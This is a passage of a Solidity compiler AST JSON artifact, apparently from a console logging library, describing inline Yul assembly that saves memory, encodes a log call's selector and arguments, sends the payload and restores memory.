c":"282764:1:22","nodeType":"YulIdentifier","src":"282764:1:22"}],"functionName":{"name":"shr","nativeSrc":"282753:3:22","nodeType":"YulIdentifier","src":"282753:3:22"},"nativeSrc":"282753:13:22","nodeType":"YulFunctionCall","src":"282753:13:22"}],"functionName":{"name":"shl","nativeSrc":"282742:3:22","nodeType":"YulIdentifier","src":"282742:3:22"},"nativeSrc":"282742:25:22","nodeType":"YulFunctionCall","src":"282742:25:22"}],"functionName":{"name":"mstore","nativeSrc":"282719:6:22","nodeType":"YulIdentifier","src":"282719:6:22"},"nativeSrc":"282719:49:22","nodeType":"YulFunctionCall","src":"282719:49:22"},"nativeSrc":"282719:49:22","nodeType":"YulExpressionStatement","src":"282719:49:22"}]},"name":"writeString","nativeSrc":"282440:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"282461:3:22","nodeType":"YulTypedName","src":"282461:3:22","type":""},{"name":"w","nativeSrc":"282466:1:22","nodeType":"YulTypedName","src":"282466:1:22","type":""}],"src":"282440:342:22"},{"nativeSrc":"282795:17:22","nodeType":"YulAssignment","src":"282795:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"282807:4:22","nodeType":"YulLiteral","src":"282807:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"282801:5:22","nodeType":"YulIdentifier","src":"282801:5:22"},"nativeSrc":"282801:11:22","nodeType":"YulFunctionCall","src":"282801:11:22"},"variableNames":[{"name":"m0","nativeSrc":"282795:2:22","nodeType":"YulIdentifier","src":"282795:2:22"}]},{"nativeSrc":"282825:17:22","nodeType":"YulAssignment","src":"282825:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"282837:4:22","nodeType":"YulLiteral","src":"282837:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"282831:5:22","nodeType":"YulIdentifier","src":"282831:5:22"},"nativeSrc":"282831:11:22","nodeType":"YulFunctionCall","src":"282831:11:22"},"variableNames":[{"name":"m1","nativeSrc":"282825:2:22","nodeType":"YulIdentifier","src":"282825:2:22"}]},{"nativeSrc":"282855:17:22","nodeType":"YulAssignment","src":"282855:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"282867:4:22","nodeType":"YulLiteral","src":"282867:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"282861:5:22","nodeType":"YulIdentifier","src":"282861:5:22"},"nativeSrc":"282861:11:22","nodeType":"YulFunctionCall","src":"282861:11:22"},"variableNames":[{"name":"m2","nativeSrc":"282855:2:22","nodeType":"YulIdentifier","src":"282855:2:22"}]},{"nativeSrc":"282885:17:22","nodeType":"YulAssignment","src":"282885:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"282897:4:22","nodeType":"YulLiteral","src":"282897:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"282891:5:22","nodeType":"YulIdentifier","src":"282891:5:22"},"nativeSrc":"282891:11:22","nodeType":"YulFunctionCall","src":"282891:11:22"},"variableNames":[{"name":"m3","nativeSrc":"282885:2:22","nodeType":"YulIdentifier","src":"282885:2:22"}]},{"nativeSrc":"282915:17:22","nodeType":"YulAssignment","src":"282915:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"282927:4:22","nodeType":"YulLiteral","src":"282927:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"282921:5:22","nodeType":"YulIdentifier","src":"282921:5:22"},"nativeSrc":"282921:11:22","nodeType":"YulFunctionCall","src":"282921:11:22"},"variableNames":[{"name":"m4","nativeSrc":"282915:2:22","nodeType":"YulIdentifier","src":"282915:2:22"}]},{"nativeSrc":"282945:17:22","nodeType":"YulAssignment","src":"282945:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"282957:4:22","nodeType":"YulLiteral","src":"282957:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"282951:5:22","nodeType":"YulIdentifier","src":"282951:5:22"},"nativeSrc":"282951:11:22","nodeType":"YulFunctionCall","src":"282951:11:22"},"variableNames":[{"name":"m5","nativeSrc":"282945:2:22","nodeType":"YulIdentifier","src":"282945:2:22"}]},{"nativeSrc":"282975:17:22","nodeType":"YulAssignment","src":"282975:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"282987:4:22","nodeType":"YulLiteral","src":"282987:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"282981:5:22","nodeType":"YulIdentifier","src":"282981:5:22"},"nativeSrc":"282981:11:22","nodeType":"YulFunctionCall","src":"282981:11:22"},"variableNames":[{"name":"m6","nativeSrc":"282975:2:22","nodeType":"YulIdentifier","src":"282975:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283078:4:22","nodeType":"YulLiteral","src":"283078:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"283084:10:22","nodeType":"YulLiteral","src":"283084:10:22","type":"","value":"0xe8d3018d"}],"functionName":{"name":"mstore","nativeSrc":"283071:6:22","nodeType":"YulIdentifier","src":"283071:6:22"},"nativeSrc":"283071:24:22","nodeType":"YulFunctionCall","src":"283071:24:22"},"nativeSrc":"283071:24:22","nodeType":"YulExpressionStatement","src":"283071:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283115:4:22","nodeType":"YulLiteral","src":"283115:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"283121:2:22","nodeType":"YulIdentifier","src":"283121:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283108:6:22","nodeType":"YulIdentifier","src":"283108:6:22"},"nativeSrc":"283108:16:22","nodeType":"YulFunctionCall","src":"283108:16:22"},"nativeSrc":"283108:16:22","nodeType":"YulExpressionStatement","src":"283108:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283144:4:22","nodeType":"YulLiteral","src":"283144:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"283150:4:22","nodeType":"YulLiteral","src":"283150:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"283137:6:22","nodeType":"YulIdentifier","src":"283137:6:22"},"nativeSrc":"283137:18:22","nodeType":"YulFunctionCall","src":"283137:18:22"},"nativeSrc":"283137:18:22","nodeType":"YulExpressionStatement","src":"283137:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283175:4:22","nodeType":"YulLiteral","src":"283175:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"283181:2:22","nodeType":"YulIdentifier","src":"283181:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283168:6:22","nodeType":"YulIdentifier","src":"283168:6:22"},"nativeSrc":"283168:16:22","nodeType":"YulFunctionCall","src":"283168:16:22"},"nativeSrc":"283168:16:22","nodeType":"YulExpressionStatement","src":"283168:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283204:4:22","nodeType":"YulLiteral","src":"283204:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"283210:2:22","nodeType":"YulIdentifier","src":"283210:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283197:6:22","nodeType":"YulIdentifier","src":"283197:6:22"},"nativeSrc":"283197:16:22","nodeType":"YulFunctionCall","src":"283197:16:22"},"nativeSrc":"283197:16:22","nodeType":"YulExpressionStatement","src":"283197:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283238:4:22","nodeType":"YulLiteral","src":"283238:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"283244:2:22","nodeType":"YulIdentifier","src":"283244:2:22"}],"functionName":{"name":"writeString","nativeSrc":"283226:11:22","nodeType":"YulIdentifier","src":"283226:11:22"},"nativeSrc":"283226:21:22","nodeType":"YulFunctionCall","src":"283226:21:22"},"nativeSrc":"283226:21:22","nodeType":"YulExpressionStatement","src":"283226:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43142,"isOffset":false,"isSlot":false,"src":"282795:2:22","valueSize":1},{"declaration":43145,"isOffset":false,"isSlot":false,"src":"282825:2:22","valueSize":1},{"declaration":43148,"isOffset":false,"isSlot":false,"src":"282855:2:22","valueSize":1},{"declaration":43151,"isOffset":false,"isSlot":false,"src":"282885:2:22","valueSize":1},{"declaration":43154,"isOffset":false,"isSlot":false,"src":"282915:2:22","valueSize":1},{"declaration":43157,"isOffset":false,"isSlot":false,"src":"282945:2:22","valueSize":1},{"declaration":43160,"isOffset":false,"isSlot":false,"src":"282975:2:22","valueSize":1},{"declaration":43132,"isOffset":false,"isSlot":false,"src":"283121:2:22","valueSize":1},{"declaration":43134,"isOffset":false,"isSlot":false,"src":"283244:2:22","valueSize":1},{"declaration":43136,"isOffset":false,"isSlot":false,"src":"283181:2:22","valueSize":1},{"declaration":43138,"isOffset":false,"isSlot":false,"src":"283210:2:22","valueSize":1}],"id":43162,"nodeType":"InlineAssembly","src":"282417:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43164,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"283282:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43165,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"283288:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43163,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"283266:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"283266:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43167,"nodeType":"ExpressionStatement","src":"283266:27:22"},{"AST":{"nativeSrc":"283312:214:22","nodeType":"YulBlock","src":"283312:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"283333:4:22","nodeType":"YulLiteral","src":"283333:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"283339:2:22","nodeType":"YulIdentifier","src":"283339:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283326:6:22","nodeType":"YulIdentifier","src":"283326:6:22"},"nativeSrc":"283326:16:22","nodeType":"YulFunctionCall","src":"283326:16:22"},"nativeSrc":"283326:16:22","nodeType":"YulExpressionStatement","src":"283326:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283362:4:22","nodeType":"YulLiteral","src":"283362:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"283368:2:22","nodeType":"YulIdentifier","src":"283368:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283355:6:22","nodeType":"YulIdentifier","src":"283355:6:22"},"nativeSrc":"283355:16:22","nodeType":"YulFunctionCall","src":"283355:16:22"},"nativeSrc":"283355:16:22","nodeType":"YulExpressionStatement","src":"283355:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283391:4:22","nodeType":"YulLiteral","src":"283391:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"283397:2:22","nodeType":"YulIdentifier","src":"283397:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283384:6:22","nodeType":"YulIdentifier","src":"283384:6:22"},"nativeSrc":"283384:16:22","nodeType":"YulFunctionCall","src":"283384:16:22"},"nativeSrc":"283384:16:22","nodeType":"YulExpressionStatement","src":"283384:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283420:4:22","nodeType":"YulLiteral","src":"283420:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"283426:2:22","nodeType":"YulIdentifier","src":"283426:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283413:6:22","nodeType":"YulIdentifier","src":"283413:6:22"},"nativeSrc":"283413:16:22","nodeType":"YulFunctionCall","src":"283413:16:22"},"nativeSrc":"283413:16:22","nodeType":"YulExpressionStatement","src":"283413:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283449:4:22","nodeType":"YulLiteral","src":"283449:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"283455:2:22","nodeType":"YulIdentifier","src":"283455:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283442:6:22","nodeType":"YulIdentifier","src":"283442:6:22"},"nativeSrc":"283442:16:22","nodeType":"YulFunctionCall","src":"283442:16:22"},"nativeSrc":"283442:16:22","nodeType":"YulExpressionStatement","src":"283442:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283478:4:22","nodeType":"YulLiteral","src":"283478:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"283484:2:22","nodeType":"YulIdentifier","src":"283484:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283471:6:22","nodeType":"YulIdentifier","src":"283471:6:22"},"nativeSrc":"283471:16:22","nodeType":"YulFunctionCall","src":"283471:16:22"},"nativeSrc":"283471:16:22","nodeType":"YulExpressionStatement","src":"283471:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"283507:4:22","nodeType":"YulLiteral","src":"283507:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"283513:2:22","nodeType":"YulIdentifier","src":"283513:2:22"}],"functionName":{"name":"mstore","nativeSrc":"283500:6:22","nodeType":"YulIdentifier","src":"283500:6:22"},"nativeSrc":"283500:16:22","nodeType":"YulFunctionCall","src":"283500:16:22"},"nativeSrc":"283500:16:22","nodeType":"YulExpressionStatement","src":"283500:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43142,"isOffset":false,"isSlot":false,"src":"283339:2:22","valueSize":1},{"declaration":43145,"isOffset":false,"isSlot":false,"src":"283368:2:22","valueSize":1},{"declaration":43148,"isOffset":false,"isSlot":false,"src":"283397:2:22","valueSize":1},{"declaration":43151,"isOffset":false,"isSlot":false,"src":"283426:2:22","valueSize":1},{"declaration":43154,"isOffset":false,"isSlot":false,"src":"283455:2:22","valueSize":1},{"declaration":43157,"isOffset":false,"isSlot":false,"src":"283484:2:22","valueSize":1},{"declaration":43160,"isOffset":false,"isSlot":false,"src":"283513:2:22","valueSize":1}],"id":43168,"nodeType":"InlineAssembly","src":"283303:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"282201:3:22","parameters":{"id":43139,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43132,"mutability":"mutable","name":"p0","nameLocation":"282213:2:22","nodeType":"VariableDeclaration","scope":43170,"src":"282205:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43131,"name":"uint256","nodeType":"ElementaryTypeName","src":"282205:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43134,"mutability":"mutable","name":"p1","nameLocation":"282225:2:22","nodeType":"VariableDeclaration","scope":43170,"src":"282217:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43133,"name":"bytes32","nodeType":"ElementaryTypeName","src":"282217:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43136,"mutability":"mutable","name":"p2","nameLocation":"282237:2:22","nodeType":"VariableDeclaration","scope":43170,"src":"282229:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43135,"name":"address","nodeType":"ElementaryTypeName","src":"282229:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43138,"mutability":"mutable","name":"p3","nameLocation":"282249:2:22","nodeType":"VariableDeclaration","scope":43170,"src":"282241:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43137,"name":"uint256","nodeType":"ElementaryTypeName","src":"282241:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"282204:48:22"},"returnParameters":{"id":43140,"nodeType":"ParameterList","parameters":[],"src":"282267:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43216,"nodeType":"FunctionDefinition","src":"283538:1536:22","nodes":[],"body":{"id":43215,"nodeType":"Block","src":"283613:1461:22","nodes":[],"statements":[{"assignments":[43182],"declarations":[{"constant":false,"id":43182,"mutability":"mutable","name":"m0","nameLocation":"283631:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283623:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43181,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283623:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43183,"nodeType":"VariableDeclarationStatement","src":"283623:10:22"},{"assignments":[43185],"declarations":[{"constant":false,"id":43185,"mutability":"mutable","name":"m1","nameLocation":"283651:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283643:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43184,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283643:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43186,"nodeType":"VariableDeclarationStatement","src":"283643:10:22"},{"assignments":[43188],"declarations":[{"constant":false,"id":43188,"mutability":"mutable","name":"m2","nameLocation":"283671:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283663:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43187,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283663:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43189,"nodeType":"VariableDeclarationStatement","src":"283663:10:22"},{"assignments":[43191],"declarations":[{"constant":false,"id":43191,"mutability":"mutable","name":"m3","nameLocation":"283691:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283683:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43190,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283683:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43192,"nodeType":"VariableDeclarationStatement","src":"283683:10:22"},{"assignments":[43194],"declarations":[{"constant":false,"id":43194,"mutability":"mutable","name":"m4","nameLocation":"283711:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283703:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43193,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283703:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43195,"nodeType":"VariableDeclarationStatement","src":"283703:10:22"},{"assignments":[43197],"declarations":[{"constant":false,"id":43197,"mutability":"mutable","name":"m5","nameLocation":"283731:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43196,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43198,"nodeType":"VariableDeclarationStatement","src":"283723:10:22"},{"assignments":[43200],"declarations":[{"constant":false,"id":43200,"mutability":"mutable","name":"m6","nameLocation":"283751:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43199,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283743:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43201,"nodeType":"VariableDeclarationStatement","src":"283743:10:22"},{"assignments":[43203],"declarations":[{"constant":false,"id":43203,"mutability":"mutable","name":"m7","nameLocation":"283771:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283763:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43202,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283763:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43204,"nodeType":"VariableDeclarationStatement","src":"283763:10:22"},{"assignments":[43206],"declarations":[{"constant":false,"id":43206,"mutability":"mutable","name":"m8","nameLocation":"283791:2:22","nodeType":"VariableDeclaration","scope":43215,"src":"283783:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43205,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283783:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43207,"nodeType":"VariableDeclarationStatement","src":"283783:10:22"},{"AST":{"nativeSrc":"283812:927:22","nodeType":"YulBlock","src":"283812:927:22","statements":[{"body":{"nativeSrc":"283855:313:22","nodeType":"YulBlock","src":"283855:313:22","statements":[{"nativeSrc":"283873:15:22","nodeType":"YulVariableDeclaration","src":"283873:15:22","value":{"kind":"number","nativeSrc":"283887:1:22","nodeType":"YulLiteral","src":"283887:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"283877:6:22","nodeType":"YulTypedName","src":"283877:6:22","type":""}]},{"body":{"nativeSrc":"283958:40:22","nodeType":"YulBlock","src":"283958:40:22","statements":[{"body":{"nativeSrc":"283987:9:22","nodeType":"YulBlock","src":"283987:9:22","statements":[{"nativeSrc":"283989:5:22","nodeType":"YulBreak","src":"283989:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"283975:6:22","nodeType":"YulIdentifier","src":"283975:6:22"},{"name":"w","nativeSrc":"283983:1:22","nodeType":"YulIdentifier","src":"283983:1:22"}],"functionName":{"name":"byte","nativeSrc":"283970:4:22","nodeType":"YulIdentifier","src":"283970:4:22"},"nativeSrc":"283970:15:22","nodeType":"YulFunctionCall","src":"283970:15:22"}],"functionName":{"name":"iszero","nativeSrc":"283963:6:22","nodeType":"YulIdentifier","src":"283963:6:22"},"nativeSrc":"283963:23:22","nodeType":"YulFunctionCall","src":"283963:23:22"},"nativeSrc":"283960:36:22","nodeType":"YulIf","src":"283960:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"283915:6:22","nodeType":"YulIdentifier","src":"283915:6:22"},{"kind":"number","nativeSrc":"283923:4:22","nodeType":"YulLiteral","src":"283923:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"283912:2:22","nodeType":"YulIdentifier","src":"283912:2:22"},"nativeSrc":"283912:16:22","nodeType":"YulFunctionCall","src":"283912:16:22"},"nativeSrc":"283905:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"283929:28:22","nodeType":"YulBlock","src":"283929:28:22","statements":[{"nativeSrc":"283931:24:22","nodeType":"YulAssignment","src":"283931:24:22","value":{"arguments":[{"name":"length","nativeSrc":"283945:6:22","nodeType":"YulIdentifier","src":"283945:6:22"},{"kind":"number","nativeSrc":"283953:1:22","nodeType":"YulLiteral","src":"283953:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"283941:3:22","nodeType":"YulIdentifier","src":"283941:3:22"},"nativeSrc":"283941:14:22","nodeType":"YulFunctionCall","src":"283941:14:22"},"variableNames":[{"name":"length","nativeSrc":"283931:6:22","nodeType":"YulIdentifier","src":"283931:6:22"}]}]},"pre":{"nativeSrc":"283909:2:22","nodeType":"YulBlock","src":"283909:2:22","statements":[]},"src":"283905:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"284022:3:22","nodeType":"YulIdentifier","src":"284022:3:22"},{"name":"length","nativeSrc":"284027:6:22","nodeType":"YulIdentifier","src":"284027:6:22"}],"functionName":{"name":"mstore","nativeSrc":"284015:6:22","nodeType":"YulIdentifier","src":"284015:6:22"},"nativeSrc":"284015:19:22","nodeType":"YulFunctionCall","src":"284015:19:22"},"nativeSrc":"284015:19:22","nodeType":"YulExpressionStatement","src":"284015:19:22"},{"nativeSrc":"284051:37:22","nodeType":"YulVariableDeclaration","src":"284051:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"284068:3:22","nodeType":"YulLiteral","src":"284068:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"284077:1:22","nodeType":"YulLiteral","src":"284077:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"284080:6:22","nodeType":"YulIdentifier","src":"284080:6:22"}],"functionName":{"name":"shl","nativeSrc":"284073:3:22","nodeType":"YulIdentifier","src":"284073:3:22"},"nativeSrc":"284073:14:22","nodeType":"YulFunctionCall","src":"284073:14:22"}],"functionName":{"name":"sub","nativeSrc":"284064:3:22","nodeType":"YulIdentifier","src":"284064:3:22"},"nativeSrc":"284064:24:22","nodeType":"YulFunctionCall","src":"284064:24:22"},"variables":[{"name":"shift","nativeSrc":"284055:5:22","nodeType":"YulTypedName","src":"284055:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"284116:3:22","nodeType":"YulIdentifier","src":"284116:3:22"},{"kind":"number","nativeSrc":"284121:4:22","nodeType":"YulLiteral","src":"284121:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"284112:3:22","nodeType":"YulIdentifier","src":"284112:3:22"},"nativeSrc":"284112:14:22","nodeType":"YulFunctionCall","src":"284112:14:22"},{"arguments":[{"name":"shift","nativeSrc":"284132:5:22","nodeType":"YulIdentifier","src":"284132:5:22"},{"arguments":[{"name":"shift","nativeSrc":"284143:5:22","nodeType":"YulIdentifier","src":"284143:5:22"},{"name":"w","nativeSrc":"284150:1:22","nodeType":"YulIdentifier","src":"284150:1:22"}],"functionName":{"name":"shr","nativeSrc":"284139:3:22","nodeType":"YulIdentifier","src":"284139:3:22"},"nativeSrc":"284139:13:22","nodeType":"YulFunctionCall","src":"284139:13:22"}],"functionName":{"name":"shl","nativeSrc":"284128:3:22","nodeType":"YulIdentifier","src":"284128:3:22"},"nativeSrc":"284128:25:22","nodeType":"YulFunctionCall","src":"284128:25:22"}],"functionName":{"name":"mstore","nativeSrc":"284105:6:22","nodeType":"YulIdentifier","src":"284105:6:22"},"nativeSrc":"284105:49:22","nodeType":"YulFunctionCall","src":"284105:49:22"},"nativeSrc":"284105:49:22","nodeType":"YulExpressionStatement","src":"284105:49:22"}]},"name":"writeString","nativeSrc":"283826:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"283847:3:22","nodeType":"YulTypedName","src":"283847:3:22","type":""},{"name":"w","nativeSrc":"283852:1:22","nodeType":"YulTypedName","src":"283852:1:22","type":""}],"src":"283826:342:22"},{"nativeSrc":"284181:17:22","nodeType":"YulAssignment","src":"284181:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"284193:4:22","nodeType":"YulLiteral","src":"284193:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"284187:5:22","nodeType":"YulIdentifier","src":"284187:5:22"},"nativeSrc":"284187:11:22","nodeType":"YulFunctionCall","src":"284187:11:22"},"variableNames":[{"name":"m0","nativeSrc":"284181:2:22","nodeType":"YulIdentifier","src":"284181:2:22"}]},{"nativeSrc":"284211:17:22","nodeType":"YulAssignment","src":"284211:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"284223:4:22","nodeType":"YulLiteral","src":"284223:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"284217:5:22","nodeType":"YulIdentifier","src":"284217:5:22"},"nativeSrc":"284217:11:22","nodeType":"YulFunctionCall","src":"284217:11:22"},"variableNames":[{"name":"m1","nativeSrc":"284211:2:22","nodeType":"YulIdentifier","src":"284211:2:22"}]},{"nativeSrc":"284241:17:22","nodeType":"YulAssignment","src":"284241:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"284253:4:22","nodeType":"YulLiteral","src":"284253:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"284247:5:22","nodeType":"YulIdentifier","src":"284247:5:22"},"nativeSrc":"284247:11:22","nodeType":"YulFunctionCall","src":"284247:11:22"},"variableNames":[{"name":"m2","nativeSrc":"284241:2:22","nodeType":"YulIdentifier","src":"284241:2:22"}]},{"nativeSrc":"284271:17:22","nodeType":"YulAssignment","src":"284271:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"284283:4:22","nodeType":"YulLiteral","src":"284283:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"284277:5:22","nodeType":"YulIdentifier","src":"284277:5:22"},"nativeSrc":"284277:11:22","nodeType":"YulFunctionCall","src":"284277:11:22"},"variableNames":[{"name":"m3","nativeSrc":"284271:2:22","nodeType":"YulIdentifier","src":"284271:2:22"}]},{"nativeSrc":"284301:17:22","nodeType":"YulAssignment","src":"28430